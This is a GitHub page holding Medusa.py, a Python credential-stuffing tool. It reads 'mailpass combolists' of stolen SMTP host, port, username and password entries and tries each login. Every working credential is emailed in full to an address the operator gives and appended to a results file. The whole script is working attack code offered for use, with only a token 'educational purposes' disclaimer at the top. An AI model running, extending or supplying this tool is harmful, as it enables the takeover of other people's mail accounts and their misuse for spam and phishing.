-
Notifications
You must be signed in to change notification settings - Fork 8
/
Medusa.py
237 lines (196 loc) · 6.38 KB
/
Medusa.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
#!/usr/local/bin/python3
'''
-------------------------------------------------------------------------------
PROJECT: Medusa Mail Access checker V1.0
AUTHOR: h3x0crypt @ GitHub.com
-------------------------------------------------------------------------------
INFO: I've coded this small tool in my freetime
SMTP checker for mailpass combolists
IMPORTANT : Allowed to use the following code only for educational
purposes!
Wait for the updates /.
'''
# Python modules
import os, sys, smtplib, ssl, socket, time, math, signal, re
from os import system, name
from email.mime.text import MIMEText
from email.header import Header
from numpy import random
from alive_progress import alive_bar
# Colors
class bcolors:
HEADER = "\033[95m"
OKBLUE = "\033[94m"
OKCYAN = "\033[96m"
OKGREEN = "\033[92m"
WARNING = "\033[93m"
FAIL = "\033[91m"
ENDC = "\033[0m"
BOLD = "\033[1m"
UNDERLINE = "\033[4m"
# clean my screen
def clear():
# for windows
if name == "nt":
_ = system("cls")
# for mac and linux
else:
_ = system("clear")
#pretty quit
def quit(signum, frame):
print(f"\n{bcolors.WARNING}./ Exiting ... \n")
sys.exit(0)
#banner
def banner():
print(f"""{bcolors.BOLD}{bcolors.HEADER}
_ _ ____ ___ _ _ ____ ____
|\/| |___ | \ | | [__ |__|
| | |___ |__/ |__| ___] | | V1.0
{bcolors.OKGREEN}
Project : Mail Access checker
Version : 1.0
Author : h3x0
Github : https://github.com/h3x0crypt
""")
print(f"""
{bcolors.WARNING}{bcolors.BOLD}\n\nIMPORTANT : List Format : HOST | PORT | USERNAME | PASSWORD {bcolors.ENDC}
""")
#Reading combo file
def readFile(filename):
if(os.path.isfile(str(filename)) == True):
content = open(filename, 'r').read().split('\n')
return True, content
else:
return False, None
#Email Verification
def emailverify(email):
email_regex = '^([\w\.\-]+)@([\w\-]+)((\.(\w){2,63}){1,3})$'
if re.search(email_regex, email):
return True
else:
return False
#Args List
def Argv():
global ListFile
global UseMulti
global Threads
global OutputFile
global ListContent
global ReciverEmail
global Timeout
print(f"{bcolors.BOLD}")
while True:
try:
ListFile = str(input(f"\n{bcolors.OKCYAN}> List File : "))
except ValueError:
print(f"{bcolors.FAIL}ERROR : Sorry, I didn't understand that.")
continue
isFile,ListContent = readFile(ListFile)
if(isFile == True):
break
else:
print(f"{bcolors.FAIL}ERROR : File Doesn't exists , please try again.")
continue
OutputFile = str(input(f'\n{bcolors.OKCYAN}> Output File : '))
while True:
try:
ReciverEmail = str(input(f"\n{bcolors.OKCYAN}> Send Test To Email : "))
except ValueError:
print(f"{bcolors.FAIL}ERROR : Sorry, I didn't understand that.")
continue
if(emailverify(ReciverEmail) == True):
break
else:
print(f"{bcolors.FAIL}ERROR : Please enter a valid email address .")
continue
while True:
try:
Timeout = int(input(f"\n{bcolors.OKCYAN}> Connection Timeout (s) : "))
except ValueError:
print(f"{bcolors.FAIL}ERROR : Sorry, I didn't understand that.")
continue
if(Timeout>0):
break
else:
print(f"{bcolors.FAIL}ERROR : Please enter a valid Timeout (s) .")
continue
# Smtp Function
def SmtpCheck(Params):
smtp_info = Params.split('|')
smtp_server = smtp_info[0]
port = smtp_info[1]
sender_email = smtp_info[2]
password = smtp_info[3]
receiver_email = ReciverEmail
message = MIMEText(str(f'{smtp_server}|{port}|{sender_email}|{password}'), 'plain', 'utf-8')
message['From'] = str(Header(f"Medusa <{sender_email}>", 'utf-8'))
x = random.randint(100000000)
subject = str(f'New working smtp #{x}')
message['Subject'] = Header(subject, 'utf-8')
try:
context = ssl.create_default_context()
context.check_hostname = False
context.verify_mode = ssl.CERT_NONE
if(port == '587'):
server = smtplib.SMTP(smtp_server,port, timeout=float(Timeout))
server.ehlo()
server.starttls(context=context)
server.ehlo()
elif(port == '465'):
server = smtplib.SMTP_SSL(smtp_server,port, timeout=float(Timeout))
server.ehlo()
else:
server = smtplib.SMTP(smtp_server,port, timeout=float(Timeout))
server.ehlo()
connected = True
except Exception as e:
connected = False
return False
pass
if connected:
try:
server.login(sender_email, password)
loggedin = True
except Exception as e:
loggedin = False
pass
if loggedin:
try:
server.sendmail(sender_email, receiver_email, message.as_string())
file_object = open(OutputFile, 'a')
file_object.write(Params+"\n")
file_object.close()
return True
except Exception as e:
return False
pass
server.quit()
# Main func
def main():
Argv()
valid = 0
invalid = 0
Nb = int(len(ListContent))
print(f"\n{bcolors.WARNING}./ Starting the proccess ...{bcolors.ENDC}\n")
with alive_bar(Nb) as bar:
for line in ListContent:
try:
response = SmtpCheck(line)
if(response == True):
valid += 1
else:
invalid += 1
bar()
except Exception as e:
pass
print(f"""\n
{bcolors.OKGREEN}Proccess Completed !\n
{bcolors.OKCYAN}Total : {bcolors.BOLD}{Nb}{bcolors.ENDC}| {bcolors.OKGREEN}Valid : {bcolors.BOLD}{valid}{bcolors.ENDC} | {bcolors.FAIL}Invalid : {bcolors.BOLD}{invalid}{bcolors.ENDC}\n
{bcolors.WARNING}Check Valid results delivirability in your mailbox : {bcolors.BOLD}{ReciverEmail}{bcolors.ENDC}
{bcolors.WARNING}Valid result output file : {bcolors.BOLD}{OutputFile}{bcolors.ENDC}{bcolors.ENDC}\n\n
""")
# Go charly
if __name__ == "__main__":
signal.signal(signal.SIGINT, quit)
banner()
main()